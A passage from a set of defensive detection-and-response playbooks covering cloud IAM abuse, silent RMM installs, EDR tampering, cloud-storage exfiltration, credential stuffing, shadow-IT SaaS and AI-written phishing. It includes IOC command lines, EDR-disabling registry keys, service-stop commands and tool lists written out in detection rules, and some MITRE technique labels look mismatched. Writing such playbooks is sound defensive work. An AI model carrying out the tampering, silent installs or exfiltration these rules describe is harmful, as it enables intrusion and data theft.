3.1 Role Enumeration and Cross-Account Access

- Data Source: CloudTrail (AWS), Azure Activity Logs, GCP Audit Logs, SIEM
- Detection Trigger:
    - Use of sts:AssumeRole or gcloud iam service-accounts impersonate unexpectedly
    - Sudden surge in ListRoles, ListPolicies or Simulate* API calls

    - Cross-project or cross-account access via role chaining

3.2 Privilege Escalation Patterns

- Data Source: Cloud-native logging + SIEM correlation
- Detection Trigger:
    - Creation of new IAM roles with elevated permissions
    - Attachment of policies like AdministratorAccess, Owner, Contributor to new identities
    - Use of IAM roles from external IPs or suspicious locations

3.3 Reconnaissance and Enumeration

- Data Source: Cloud API logs, workload telemetry
- Detection Trigger:
    - Repeated API queries such as DescribeInstances, ListBuckets, ListSecrets
    - Inventory collection patterns in short burst (e.g., via CloudMapper, Pacu, ScoutSuite)

4. Response Actions

4.1 Containment

Action 1: Disable or remove compromised access keys, tokens or roles

- Immediately revoke API keys or federated credentials
- Terminate active sessions or STS tokens

Action 2: Quarantine affected cloud resources

- Isolate VMs/containers launched from attacker roles
- Lock down access to impacted projects/accounts

Action 3: Detach over-privileged roles

- Remove attached admin policies from newly created roles
- Block AssumeRole calls with known compromised role ARNs

5. Investigation

5.1 Understand the Path of Movement

Action 4: Map role assumption chains

- Trace API activity to find initial compromised identity
- Identify if attacker pivoted via sts:AssumeRole or GetSessionToken

Action 5: Review IAM policy simulation logs

- Check for usage of SimulatePrincipalPolicy, GetPolicyVersion
- Look for attacker testing permissions before execution

5.2 Evaluate Impact Scope

Action 6: Analyse storage and secrets access

- Review access logs for S3/GCS buckets, KeyVault, Secrets Manager
- Look for download/export events

Action 7: Audit compute and container service usage

- Check for attacker-deployed EC2/VMs, Lambda, Cloud Run instances
- Validate EDR or runtime protection alerts on spawned workloads

6. Recovery and Remediation

6.1 Harden IAM Design

Action 8: Enforce least privilege and role scoping

- Use service control policies (SCPs), condition keys, trust boundaries
- Implement role chaining restrictions (e.g., deny sts:AssumeRole across environments)

Action 9: Rotate all affected secrets

- API keys, access tokens, DB passwords, service account keys
- Trigger app-side configuration reloads post-rotation

6.2 Improve Detection and Prevention

Action 10: Enable CloudTrail/Activity logging for all regions

- Include global services and read-only APIs
- Ship logs to centralised SIEM or security data lake

Action 11: Deploy IAM anomaly detectors

- Use AWS GuardDuty, Azure Defender for Cloud or Chronicle to flag role misuses

- Alert on unusual volume of IAM API calls

7. Lessons Learned

7.1 Detection Engineering and Policy Control

Action 12: SIEM rule for suspicious role assumption

```
rule: Unusual IAM Role Assumption
if event_name == "AssumeRole"
and role_name in ["Admin*", "Prod*"]
and source_ip not in trusted_ips
then alert
```

Action 13: Red team simulation of cloud privilege escalation

- Use attacker tools like Pacu or SkyArk to simulate misconfigured IAM exploitation
- Blue team tests detection of lateral movement via role pivoting

Action 14: Establish IAM governance baselines

- Regularly review IAM policy drift
- Audit for wildcard * permissions or overly broad role trust policies

8. Reporting and Documentation

- Incident ID: DRP-2025-043
- Severity: Critical (Cross-account lateral movement via IAM role abuse)
- Impact: 1 role chain exploited, 3 buckets accessed, 2 EC2 instances launched
- IOCs Collected:
    - Compromised Role: arn:aws:iam::222233334444:role/DevOpsAdmin
    - Source IP: 178.62.54.91 (DigitalOcean)
    - STS session ID: AIDASW...
- MITRE Mapping:
    - Discovery: T1538, T1087.004
    - Privilege Escalation: T1098.001
    - Lateral Movement: T1078.004
    - Credential Access: T1550.003

Detection and Response Playbook 44: Living-off-the-Land via Remote Monitoring and Management (RMM) Tools for Post-Exploitation Control

1. Overview

Attack Type: Post-Exploitation / Remote Control
Tactic: Execution, Persistence, Command and Control
Technique (MITRE ATT&CK):

- T1219 – Remote Access Software
- T1059 – Command and Scripting Interpreter
- T1105 – Ingress Tool Transfer
- T1021.001 – Remote Desktop Protocol
- T1574.002 – Hijack Execution Flow: DLL Side-Loading

2. Attack Summary

Once attackers gain access to a system (via phishing, credential abuse or initial malware drop), they deploy legitimate RMM tools such as:

- AnyDesk
- TeamViewer
- Atera
- ConnectWise Control
- Splashtop

These tools are often installed silently using command-line flags that suppress pop-ups, user prompts and UI elements. Since these tools are commonly used by IT teams, they often bypass EDR detection and firewall controls, blending in with authorised software.

The attacker then uses the RMM platform to:

- Remotely control infected endpoints
- Maintain persistence across reboots
- Move laterally or exfiltrate data
- Drop secondary payloads without needing additional malware

3. Detection Steps

3.1 Suspicious RMM Installations

- Data Source: EDR, Sysmon, Windows Event Logs, Application Inventory
- Detection Trigger:
    - Installation of RMM software via command line (e.g., msiexec, powershell)

    - Use of silent or unattended install flags (--silent, /qn, --accept-license)
    - RMM installed by user account with no IT role

3.2 Unusual Remote Access Behaviour

- Data Source: Network logs, firewall logs, SIEM
- Detection Trigger:
    - Remote sessions to IP ranges tied to public RMM control servers
    - Unexpected RDP-like behaviour without actual RDP services in use
    - Beaconing to known RMM infrastructure during off-hours

3.3 Persistence and Execution

- Data Source: Autoruns, Registry, EDR
- Detection Trigger:
    - RMM tools added to HKCU\Software\Microsoft\Windows\CurrentVersion\Run
    - Task Scheduler jobs or service creation pointing to TeamViewer.exe, AnyDesk.exe etc.
    - DLL side-loading or LOLBins used to mask execution

4. Response Actions

4.1 Containment

Action 1: Kill and quarantine the RMM executable

- Use EDR or remote shell to terminate process and delete binary
- Block hash and path in execution control lists

Action 2: Isolate the host from the network

- Prevent attacker from continuing remote access
- Capture memory and disk image for forensics

Action 3: Revoke any stolen credentials

- If attacker used RMM to dump hashes or credentials, force password resets
- Review RDP or VPN access logs for associated activity

5. Investigation

5.1 Understand How RMM Was Deployed

Action 4: Review process tree for installation activity

- Identify parent process (e.g., cmd.exe, powershell.exe)
- Look for script-based dropper or MSI package execution

Action 5: Analyse user context

- Was RMM installed via elevated privilege account?
- Was it deployed via phishing payload, malicious link or PowerShell script?

5.2 Determine Impact and Lateral Movement

Action 6: Review logs of outbound connections and data access

- Check if RMM tool was used to transfer files (upload/download)
- Look at logon sessions created post-RMM installation

Action 7: Scan for presence on other hosts

- Use EDR to detect RMM binary across fleet
- Search for registry keys or services with known RMM indicators

6. Recovery and Remediation

6.1 Remove Persistence and Artifacts

Action 8: Clean startup locations

- Remove autorun entries, scheduled tasks or registry keys
- Confirm file deletion and hash removal

Action 9: Validate host integrity

- Run full malware scan
- Check for presence of additional tools (e.g., credential dumpers)

6.2 Policy and Access Control Adjustments

Action 10: Block unauthorised RMM software via allowlist

- Use AppLocker, Defender Application Control or third-party endpoint policy
- Only allow specific RMM tools by certificate signature

Action 11: Monitor and control software installs

- Restrict non-admin users from installing MSI or EXE tools
- Alert on unsigned software installations

7. Lessons Learned

7.1 Detection Engineering and Endpoint Monitoring

Action 12: SIEM rule for RMM silent install

rule: Unauthorised RMM Installation
if process_name in ["msiexec.exe", "powershell.exe"]
and command_line contains ["--silent", "/qn", "--force-install"]
and file_path contains ["AnyDesk", "TeamViewer", "Atera"]
and user not in ["IT_Admins", "Helpdesk_Group"]
then alert

Action 13: Blue team exercise for LOL-RMM detection

- Simulate installation of TeamViewer with silent parameters
- Evaluate EDR/AV, SIEM and analyst detection capabilities

Action 14: Define RMM deployment SOP

- Document legitimate RMM deployment process
- Maintain internal list of authorised RMM tools and versions

8. Reporting and Documentation

- Incident ID: DRP-2025-044
- Severity: High (Persistence achieved using legitimate tools to bypass AV and policy controls)
- Impact: 3 endpoints affected, attacker maintained access for 6 days before discovery
- IOCs Collected:
    - File path: C:\Program Files (x86)\AnyDesk\AnyDesk.exe
    - Command line: msiexec /i anydesk.msi /qn --silent --create-desktop-icon=0
    - Source IP: 188.40.84.204 (known AnyDesk control node)
- MITRE Mapping:
    - Execution: T1059, T1021.001
    - Persistence: T1574.002
    - Command and Control: T1219, T1105

Detection and Response Playbook 45: Compromise of EDR Agents for Evasion and Lateral Reconnaissance

1. Overview

Attack Type: Evasion / Stealth Persistence / Visibility Suppression
Tactic: Defense Evasion, Discovery, Persistence
Technique (MITRE ATT&CK):

- T1562.001 – Disable or Modify Tools: Disable or Tamper with Security Software
- T1055 – Process Injection
- T1036 – Masquerading
- T1003 – OS Credential Dumping
- T1087 – Account Discovery

2. Attack Summary

Once inside the network, attackers attempt to evade detection by tampering with or disabling EDR agents such as CrowdStrike Falcon, SentinelOne, Microsoft Defender for Endpoint, Trellix or Sophos. This is done to:

- Suppress logs and telemetry
- Inject into trusted processes
- Exploit known bypass techniques
- Gain visibility over protected systems while remaining stealthy

Common methods include:

- DLL hijacking or injection into the EDR process
- Using LOLBins to stop services or modify EDR agent behaviour
- Tampering with EDR communication or drivers
- Using EDR exclusion abuse to launch malicious tools

This allows attackers to operate without triggering alerts, perform lateral reconnaissance and execute malware with reduced chances of containment.

3. Detection Steps

3.1 EDR Process Tampering

- Data Source: Sysmon, EDR self-monitoring, Windows Security logs
- Detection Trigger:
    - Unexpected child processes spawned by EDR processes (e.g., csfalconservice.exe launching cmd.exe)

    - Injection attempts into EDR modules using RemoteThread, NtMapViewOfSection, etc.
    - Suspicious registry or service modifications involving EDR keys

3.2 Service Stoppage or Policy Manipulation

- Data Source: Windows Event Log 7036, Sysmon Event ID 1/6/7, EDR logs
- Detection Trigger:
    - Attempts to stop EDR services using sc stop, taskkill or PowerShell
    - Registry changes under:

      HKLM\SYSTEM\CurrentControlSet\Services\CrowdStrike
      HKLM\Software\Policies\Microsoft\Windows Defender

    - Usage of tools like Process Hacker or GMER to manipulate kernel drivers

3.3 Gaps in Expected Telemetry

- Data Source: SIEM, EDR health dashboard
- Detection Trigger:
    - EDR agent stops reporting from endpoint(s) with high-value role (DC, DB server)
    - Sudden drop in event telemetry or heartbeat from a previously stable host
    - Host still active on the network but not in the EDR console

4. Response Actions

4.1 Containment

Action 1: Isolate affected endpoint(s)

- Use EDR network isolation if functional
- Otherwise, remove from switch port or VLAN until validated

Action 2: Reinstall or repair EDR agent

- Confirm integrity via vendor validation script or hash check
- Push clean EDR agent package via secure channel (e.g., SCCM, Intune)

Action 3: Block attacker persistence tools

- Identify any custom scripts, payloads or binaries dropped during EDR bypass
- Kill processes and remove persistence (e.g., runonce, schtasks)

5. Investigation

5.1 Identify Method of Tampering

Action 4: Examine process tree and injection behaviour

- Look for signs of DLL injection, memory patching or thread creation
- Validate against known EDR bypass techniques and CVEs

Action 5: Review exclusion settings

- Check if attacker abused Defender's exclusion policies (e.g., excluded C:\Tools\)
- Validate if exclusions were applied through GPO or registry tampering

5.2 Assess Post-Evasion Activity

Action 6: Scan for lateral movement tools

- Look for presence of mimikatz, lsassy, PsExec, SharpHound, etc.
- Review internal traffic logs for lateral movement patterns (SMB, WMI, WinRM)

Action 7: Determine extent of compromised visibility

- Cross-reference EDR and Sysmon timelines to find coverage gaps
- Estimate how long attacker operated undetected

6. Recovery and Remediation

6.1 Restore Full Visibility and Trust

Action 8: Reimage high-value compromised hosts

- For domain controllers or jump servers with bypassed EDR, initiate clean reimage
- Perform rootkit or bootkit checks before reintegration

Action 9: Re-enable tamper protection

- Turn on Defender's Tamper Protection and EDR-specific anti-tamper features
- Block tools capable of manipulating EDR components

6.2 Strengthen Detection and Alerting

Action 10: Enable EDR anti-tamper alerting

- Configure the EDR platform to alert on agent disablement attempts

- Monitor Event ID 1116/1117 (Windows Defender Protection Status Changed)

Action 11: Harden EDR deployment

- Use kernel-mode drivers with self-protection
- Prevent local admin users from modifying EDR settings

7. Lessons Learned

7.1 Detection Engineering and Validation

Action 12: SIEM rule for unexpected EDR telemetry loss

```
rule: Sudden EDR Silence on Active Host
if endpoint_status == "Active"
and EDR_heartbeat == "Missing > 30 mins"
and process_activity continues
then alert
```

Action 13: Red team simulation of EDR evasion

- Use benign EDR-bypass methods in test lab (e.g., Process Doppelgänging)
- Blue team evaluates detection of suppression activity

Action 14: Audit EDR coverage and exemptions quarterly

- Review list of excluded paths or ignored processes
- Audit machines with agent errors or out-of-date agents

8. Reporting and Documentation

- Incident ID: DRP-2025-045
- Severity: Critical (EDR bypassed, host remained active and unmonitored)
- Impact: 1 domain controller and 2 endpoints compromised with 36 hours visibility loss
- IOCs Collected:
    - File: EDREvasionHelper.exe (unsigned)
    - Modified registry key: HKLM\SYSTEM\CurrentControlSet\Services\Sense set to Start=4
    - Process injection observed into svchost.exe from PowerShell.exe
- MITRE Mapping:
    - Defense Evasion: T1562.001, T1055
    - Masquerading: T1036
    - Discovery: T1087

- Persistence: T1053.005 (via scheduled tasks)

Detection and Response Playbook 46: Data Exfiltration via Encrypted Cloud Storage Tunnels

1. Overview

Attack Type: Data Exfiltration / Stealth Tunneling
Tactic: Collection, Exfiltration, Defense Evasion
Technique (MITRE ATT&CK):

- T1041 – Exfiltration Over C2 Channel
- T1567.002 – Exfiltration to Cloud Storage
- T1027 – Obfuscated Files or Information
- T1090.002 – External Remote Services
- T1560.001 – Archive Collected Data: Archive via Utility

2. Attack Summary

In this technique, attackers compress and encrypt stolen data from endpoints or servers, then use legitimate cloud storage services like:

- Google Drive
- Dropbox
- Microsoft OneDrive
- MEGA
- pCloud

They abuse command-line clients, public APIs or headless uploaders to silently transfer the data outside the organisation. This traffic is often encrypted and appears as normal HTTPS connections to cloud provider domains, bypassing most DLP and proxy filters unless SSL inspection and behavioral detection is implemented.

The attacker may disguise the tools as legitimate processes or execute them via scripts during off-hours.

3. Detection Steps

3.1 Unusual Cloud Upload Behaviour

- Data Source: Proxy logs, firewall logs, CASB, endpoint telemetry
- Detection Trigger:
    - Large outbound uploads to known cloud storage domains (dropbox.com, drive.google.com, mega.nz)
    - Upload activity from systems not assigned to users (e.g. servers)
    - Traffic spikes during non-business hours

3.2 Use of CLI Upload Tools

- Data Source: Sysmon, process monitoring, command-line auditing
- Detection Trigger:
    - Execution of rclone.exe, gdrive.exe, onedrivecmd, megacmd
    - Archive creation commands (7z a, tar -czf, WinRAR) followed by upload tools
    - PowerShell scripts calling APIs for Google Drive or Dropbox

3.3 Obfuscated or Archived Data Movement

- Data Source: File access logs, endpoint DLP, Sysmon FileCreate events
- Detection Trigger:
    - Creation of .zip, .rar, .7z, .tar.gz files in user AppData, %Temp% or shared folders
    - Use of file encryption or password protection prior to movement
    - Shadow copies deleted post-archiving (sign of anti-forensics)

4. Response Actions

4.1 Containment

Action 1: Block cloud storage domains at the perimeter (if allowed)

- Temporarily block upload access to targeted storage domain
- Quarantine host if upload is ongoing

Action 2: Kill and quarantine the transfer tool

- Terminate rclone, megacmd or PowerShell script using API
- Delete related binaries and scripts from disk

Action 3: Revoke OAuth tokens or cloud storage permissions

- If stolen credentials or tokens were used, revoke session via cloud admin console
- Rotate API keys or user passwords if needed

5. Investigation

5.1 Determine What Was Stolen

Action 4: Correlate archive file creation with upload timing

- Match timestamps of .zip, .7z, .tar.gz with upload events
- Identify files included via forensic disk analysis or EDR file tracking

Action 5: Check upload history if accessible

- Review Dropbox/Google/Mega account history (if attacker-controlled account can be identified)
- Validate whether public links were shared

5.2 Identify Attacker's Vector

Action 6: Look at how tool was delivered

- Was it part of a scheduled task, script or malware implant?
- Was the tool downloaded via phishing or dropped post-compromise?

Action 7: Assess lateral movement risk

- Check for file staging or collection from other hosts
- Identify compromised credentials or exfil routes

6. Recovery and Remediation

6.1 Lock Down Tool Usage and Access

Action 8: Block known exfil tools via application control

- Add rclone.exe, megacmd.exe, gdrive.exe to denylist
- Restrict execution from temp or user profile directories

Action 9: Enable data access auditing

- Track sensitive file access and archiving attempts
- Use Windows Object Access Auditing or file integrity monitoring

6.2 Improve Egress Filtering and Data Monitoring

Action 10: Implement SSL inspection for known exfil paths

- Inspect uploads to cloud domains for metadata and file movement
- Use CASB or DLP agents to enforce contextual policies

Action 11: Harden account and token usage

- Enforce OAuth token expiry
- Require MFA for all SaaS/cloud services and revoke inactive accounts

7. Lessons Learned

7.1 Detection Engineering and Egress Awareness

Action 12: SIEM rule for unusual upload and tool usage

rule: Suspicious Cloud Storage Upload
if process_name in ["rclone.exe", "megacmd.exe", "powershell.exe"]
and outbound_connection_domain in ["mega.nz", "dropbox.com", "drive.google.com"]
and upload_size > 500MB
then alert

Action 13: Red team simulation of rclone exfiltration

- Simulate rclone upload with encrypted archives
- Evaluate firewall, EDR, proxy and analyst alerting coverage

Action 14: Define cloud usage policy and alert deviation

- Restrict who can use personal cloud tools on corporate assets
- Baseline upload activity and monitor for deviations

8. Reporting and Documentation

- Incident ID: DRP-2025-046
- Severity: High (Data exfiltration via encrypted tunnel using legitimate cloud services)
- Impact: 1.2GB archived, encrypted file containing client financials and credentials exfiltrated to MEGA
- IOCs Collected:
    - File created: C:\Users\Finance\AppData\Local\Temp\export_2025_Q2.7z
    - Tool: rclone.exe from %USERPROFILE%\Downloads\
    - Upload domain: https://mega.nz
- MITRE Mapping:
    - Exfiltration: T1567.002, T1041
    - Collection: T1560.001
    - Evasion: T1027
    - Remote Services: T1090.002

Detection and Response Playbook 47: Credential Stuffing Attacks Against Public-Facing Authentication Portals

1. Overview

Attack Type: Brute Force / Account Takeover (ATO)
Tactic: Credential Access, Initial Access, Persistence
Technique (MITRE ATT&CK):

- T1110.004 – Brute Force: Credential Stuffing
- T1078 – Valid Accounts
- T1589 – Gather Victim Identity Information
- T1110 – Brute Force
- T1556 – Modify Authentication Process

2. Attack Summary

Credential stuffing involves using large sets of username-password pairs (usually from previous breaches) to automatically attempt logins across different services. Attackers use tools like:

- Sentry MBA
- OpenBullet
- Snipr
- custom Python scripts

The target is often a public-facing login page (e.g., webmail, VPN, customer portals, e-commerce platforms). If credentials are reused by users across platforms, attackers can gain unauthorised access, especially if MFA is not enforced.

This type of attack is usually high volume, distributed across multiple IP addresses and mimics legitimate logins to avoid detection.

3. Detection Steps

3.1 Identify Login Anomalies

- Data Source: Web server logs, WAF, authentication logs, SIEM
- Detection Trigger:
    - High volume of login attempts from same IP/user agent
    - Spike in HTTP POST /login with 401/403 responses
    - Multiple failed attempts for different usernames from a single IP (horizontal brute force)
    - Known leaked credentials attempted

3.2 Geo and IP Behaviour Analysis

- Data Source: Firewall, CDN logs (Cloudflare, Akamai), SIEM
- Detection Trigger:
    - Login attempts from geo-locations not typical for user population
    - IPs with past credential stuffing behaviour or listed in threat intelligence
    - Attempted logins from datacenter/residential IP patterns (e.g., AWS, VPN exit nodes)

3.3 Device and Session Anomalies

- Data Source: Identity provider logs (Azure AD, Okta), web session logs
- Detection Trigger:
    - New device fingerprint for user login after failed attempts
    - Session creation from browser automation tools (Selenium, Puppeteer)

4. Response Actions

4.1 Containment

Action 1: Throttle or block attacker IPs

- Rate-limit or block IPs showing abuse patterns using WAF/CDN
- Use Geo-blocking or CAPTCHA for unknown locations

Action 2: Lock targeted user accounts after threshold

- Enforce temporary lockout or adaptive MFA on multiple failed attempts
- Notify affected users proactively

Action 3: Sinkhole credential testing attempts

- Redirect suspected automated traffic to honeypots
- Delay response times to reduce effectiveness of automation

5. Investigation

5.1 Identify Success Rate and Affected Users

Action 4: Correlate successful logins after failed attempts

- Was a correct password found after hundreds of failed logins?
- Were any accounts compromised without MFA?

Action 5: Review targeted usernames

- Are these corporate accounts, executives or service users?
- Were the same usernames attempted across different services?

5.2 Understand Tooling and Method

Action 6: Analyse user agents and header patterns

- Look for signs of automation tools (python-requests, Mozilla/5.0 (Windows NT 5.1))
- Static or missing headers, lack of JS execution

Action 7: Capture and decode attack config files (if available)

- If OpenBullet or similar tool config captured, identify target API structure
- Use for countermeasures and education

6. Recovery and Remediation

6.1 Strengthen Access Security

Action 8: Enforce MFA across all external portals

- Strongly reduces effectiveness of credential stuffing
- Apply adaptive MFA policies for risky logins

Action 9: Implement IP reputation and behavioural detection

- Use threat intel feeds to identify known attacker infrastructure
- Employ bot management and CAPTCHA verification

6.2 Protect User Credentials

Action 10: Force password reset for affected users

- Trigger reset workflow for users identified in stuffing attempt
- Prevent password reuse from common breach datasets

Action 11: Enable breached password protection

- Use services like HaveIBeenPwned API or Microsoft's banned password list
- Block known breached or weak passwords at the time of reset

7. Lessons Learned

7.1 Detection Engineering and Threat Intelligence

Action 12: SIEM rule for credential stuffing pattern

rule: Credential Stuffing Attack
if login_attempts > 50
and unique_usernames_attempted > 20
and source_ip == same
and response_code == 401 or 403
then alert

Action 13: Red team credential stuffing test

- Run simulated low-volume credential stuffing from safe IPs
- Evaluate lockout thresholds, detection and analyst alerting speed

Action 14: User education campaign

- Run password hygiene awareness
- Explain dangers of password reuse and how to spot account compromise

8. Reporting and Documentation

- Incident ID: DRP-2025-047
- Severity: High (Automated credential stuffing attack targeting customer and employee portals)
- Impact: 7 accounts compromised out of 10,000 tested credentials
- IOCs Collected:
    - IP: 185.244.25.14
    - User agents: python-requests/2.27.1, Mozilla/5.0 (Windows NT 5.1)
    - Targeted usernames: admin, john.doe, jane.smith, support@company.com
- MITRE Mapping:
    - Credential Access: T1110.004, T1078
    - Identity Discovery: T1589
    - Brute Force: T1110

Detection and Response Playbook 48: Exploitation of Shadow IT and Unmonitored SaaS Applications for Data Exfiltration and Persistence

1. Overview

Attack Type: Data Exfiltration / Persistence via Unauthorised SaaS
Tactic: Initial Access, Persistence, Collection, Exfiltration
Technique (MITRE ATT&CK):

- T1210 – Exploitation of Remote Services
- T1078 – Valid Accounts
- T1530 – Data from Cloud Storage Object
- T1136.003 – Create Cloud Account
- T1114 – Email Collection
- T1567.002 – Exfiltration to Cloud Storage

2. Attack Summary

In this attack, the adversary abuses Shadow IT, unapproved applications or services used by employees (or intentionally set up by the attacker), to:

- Exfiltrate data without detection
- Maintain persistent access to organisation data
- Circumvent corporate security policies (EDR, DLP, MFA)

Examples of abused platforms include:

- Free-tier project tools (Trello, Notion)
- Personal cloud apps (Dropbox, Google Drive, Mega)
- Email forwarding rules (e.g., Gmail, Outlook rules)
- Low-code/no-code SaaS with OAuth permissions (Zapier, IFTTT)

Attackers may create accounts, authenticate via OAuth and exploit permissions granted by end users unaware of the risk.

3. Detection Steps

3.1 Unapproved SaaS Application Access

- Data Source: CASB (Cloud Access Security Broker), Identity Provider (Azure AD, Okta), Proxy logs
- Detection Trigger:
    - New application integrations not present in SaaS inventory
    - OAuth grant from unknown third-party apps to corporate users

    - Login to SaaS from unknown IPs or browser agents

3.2 Suspicious OAuth Activity

- Data Source: Identity platform logs, SIEM, SaaS audit logs
- Detection Trigger:
    - Repeated token refresh requests from automation platforms
    - Use of offline_access or files.readwrite.all scopes by apps not reviewed by IT
    - Token granted to “self-registered” or “unmanaged” app

3.3 Abnormal SaaS Data Flows

- Data Source: SaaS audit logs, CASB, DLP
- Detection Trigger:
    - Sudden export of large data volumes from Google Drive, SharePoint or Dropbox
    - Sharing of sensitive documents with external Gmail, Yahoo or Mega accounts
    - File downloads followed by immediate deletion or sharing

4. Response Actions

4.1 Containment

Action 1: Revoke OAuth permissions for suspicious SaaS apps

- Use Azure AD or Google Workspace admin panel to revoke app tokens
- Notify users of revoked access with explanation

Action 2: Disable or suspend affected user accounts (if malicious intent suspected)

- Prevent further token usage
- Block login and alert security team

Action 3: Quarantine or unshare exposed documents

- Change ownership of critical files
- Use admin tools to unshare documents sent externally

5. Investigation

5.1 Identify How Shadow SaaS Was Introduced

Action 4: Analyse OAuth approval path

- Was the app installed by end user?
- Did phishing lead to account token theft?

Action 5: Determine which data was accessed

- Look into SaaS audit trail of file views, downloads or uploads
- Reconstruct file activity timeline via SaaS APIs or CASB logs

5.2 Assess Scope and Persistence

Action 6: Check for automation persistence (e.g., Zapier scripts)

- Look for webhook URLs, automation triggers that continue operating
- Search for rules forwarding emails or auto-uploading files

Action 7: Review identity platform audit logs

- Who else granted access to same app?
- Was the attack widespread or targeted?

6. Recovery and Remediation

6.1 Lock Down SaaS Ecosystem

Action 8: Restrict OAuth permissions for third-party apps

- Use identity provider policies to allow only reviewed applications
- Enforce admin consent workflows

Action 9: Block high-risk app categories

- Use CASB to block file-sharing apps not in approved list
- Create alert rules for Shadow IT app usage

6.2 Educate and Empower Users

Action 10: Raise user awareness on SaaS app risks

- Provide training on authorising only trusted apps
- Explain how OAuth grants work and how attackers exploit them

Action 11: Conduct quarterly Shadow IT discovery

- Review application usage logs
- Expand SaaS inventory and update allowlists

7. Lessons Learned

7.1 Detection Engineering and SaaS Governance

Action 12: SIEM rule for new high-privilege app consent

rule: Suspicious OAuth App Approval
if oauth_app_permission == "files.readwrite.all"
and app not in approved_app_list
then alert

Action 13: Red team simulation of SaaS exfiltration

- Use Zapier or rclone to simulate document transfer to unmanaged cloud
- Evaluate detection by CASB, SIEM and identity platform

Action 14: SaaS Security Governance Framework

- Create risk scoring system for new SaaS apps
- Define lifecycle approval, monitoring and deprovisioning processes

8. Reporting and Documentation

- Incident ID: DRP-2025-048
- Severity: High (Shadow IT SaaS application used for data exfiltration)
- Impact: 430 confidential HR documents downloaded and shared externally via Notion
- IOCs Collected:
    - Unauthorised app: notion-oauth-client-9354
    - IP: 104.26.13.22 (Notion API server)
    - User agent: ZapierBot/1.0
- MITRE Mapping:
    - Credential Access: T1078
    - Initial Access: T1210
    - Collection: T1530
    - Exfiltration: T1567.002
    - Persistence: T1136.003

Detection and Response Playbook 49: Abuse of Generative AI for Spear Phishing Campaigns

1. Overview

Attack Type: Social Engineering / Spear Phishing
Tactic: Initial Access, Reconnaissance, Credential Access
Technique (MITRE ATT&CK):

- T1566.001 – Phishing: Spear Phishing Attachment
- T1566.002 – Phishing: Spear Phishing Link
- T1589.002 – Gather Victim Identity Information: Employee Names
- T1204 – User Execution
- T1555 – Credentials from Password Stores

2. Attack Summary

Adversaries now leverage Generative AI platforms (like ChatGPT, WormGPT, FraudGPT) to craft hyper-personalised phishing emails, sometimes in the target's native language, referencing recent news, colleagues' names or past communication patterns.

The attacker's process often includes:

- Scraping public data (LinkedIn, company press releases, social media)
- Using AI to write credible, non-repetitive and grammatically accurate content
- Generating unique phishing lures such as invoice updates, legal threats or fake HR forms
- Sending payloads via email with obfuscated links or weaponised attachments

The emails evade traditional filters by lacking typical spam characteristics and bypass signature-based defenses.

3. Detection Steps

3.1 Identify AI-Generated Phishing Lures

- Data Source: Email gateway, EDR, email header inspection, SIEM
- Detection Trigger:
    - Emails with unknown or newly registered sender domains
    - Language patterns that show low perplexity but high burstiness (indicative of LLM use)
    - Messages referencing recent company-specific events not yet widely known

3.2 Suspicious Attachments or Links

- Data Source: Secure email gateway (SEG), proxy, browser telemetry
- Detection Trigger:
    - Link obfuscation using redirection services (bit.ly, cutt.ly, lurl.me)
    - Attachments with macros, script execution or file type mismatches (e.g., .pdf.exe)
    - Emails urging urgent actions, sign-in, invoice verification or legal escalation

3.3 Delivery Pattern Anomalies

- Data Source: Email infrastructure logs, MX records, DMARC/DKIM validation
- Detection Trigger:
    - Campaign with near-identical structure sent to multiple internal users
    - Sudden appearance of unknown external sender with high interaction volume
    - Failed or missing DMARC, SPF, DKIM for sender domain

4. Response Actions

4.1 Containment

Action 1: Quarantine all similar emails from same campaign

- Use pattern or header match to isolate related messages
- Remove from inboxes if already delivered

Action 2: Block sender domain and redirect service

- Add sender to blocklist and disable link redirections
- Notify email filtering and proxy teams

Action 3: Revoke or reset credentials if phishing led to user action

- Initiate forced password reset and revoke sessions
- Audit downstream impact (mailbox rules, OAuth grants)

5. Investigation

5.1 Assess Scope of Campaign

Action 4: Correlate recipients

- Determine how many employees received similar messages
- Identify departments or individuals specifically targeted (e.g. finance, HR, legal)

Action 5: Extract phishing infrastructure

- Analyse headers for sending IP, source domain, reply-to domain
- Check for other variants from same IP/domain via threat intel

5.2 Determine Impact

Action 6: Check for user interaction

- Look at email click-through logs, download activity or file execution
- Review login activity post-phishing (geo, time, device anomalies)

Action 7: Investigate for lateral movement or secondary access

- Did attacker create inbox rules, drop backdoors or forward emails?
- Any signs of persistence or cloud data access?

6. Recovery and Remediation

6.1 Harden Email and Identity Protections

Action 8: Enforce MFA for all external access

- Prevents stolen credentials from being directly useful
- Apply conditional access for high-risk logins

Action 9: Improve SEG and ML detection

- Tune email filter models for content manipulation and impersonation
- Enable AI-aware phishing heuristics or partner with external detection vendors

6.2 Enhance Awareness and Reporting Culture

Action 10: Run spear phishing awareness exercises

- Simulate GenAI-style phishing to test user alertness
- Reward users for rapid reporting

Action 11: Enable 1-click phishing report in email clients

- Automate triage and SOC workflow
- Integrate with SOAR to kick off investigation

7. Lessons Learned

7.1 Detection Engineering and Threat Simulation

Action 12: SIEM rule for suspicious new sender targeting multiple execs

rule: Exec-Targeted Spear Phishing
if sender_domain_age < 30 days
and subject contains ["urgent", "legal", "invoice", "action required"]
and recipients in ["CEO", "CFO", "Head of HR", "IT Manager"]
then alert

Action 13: Simulate GenAI phishing templates

- Use GPT to create simulated phishing emails for training
- Measure user susceptibility and refine controls

Action 14: Monitor GenAI threat landscape

- Track underground toolkits like WormGPT, FraudGPT
- Monitor phishing kits using LLM-powered natural language generation

8. Reporting and Documentation

- Incident ID: DRP-2025-049
- Severity: Medium to High (AI-generated phishing with intent to breach credentials or implant malware)
- Impact: 1 employee credential exposed, campaign hit 35 employees across HR and Finance
- IOCs Collected:
    - Domain: corp-legal-docs[.]online (new, 12 days old)
    - Redirect URL: https://bit.ly/3xyzHR → phishingportal[.]com/login.php
    - Phishing payload: Legal_Update_Claim_27593388.pdf.exe
- MITRE Mapping:
    - Initial Access: T1566.001, T1566.002
    - Recon: T1589.002
    - Credential Access: T1555
    - User Execution: T1204

Detection and Response Playbook 50: Malicious Firmware Update or Bootkit Implant via Compromised OEM or IT Supply Chain

1. Overview

Attack Type: Firmware Compromise / Supply Chain Attack / Stealth Persistence
Tactic: Persistence, Defense Evasion, Initial Access
Technique (MITRE ATT&CK):

- T1542.003 – Boot or Logon Autostart Execution: Bootkit
- T1542.001 – BIOS or Firmware Modification
- T1195.002 – Supply Chain Compromise: Compromise Software Supply Chain
- T1562 – Impair Defenses
- T1200 – Hardware Additions

2. Attack Summary

This highly advanced scenario involves firmware-level compromise, either through:

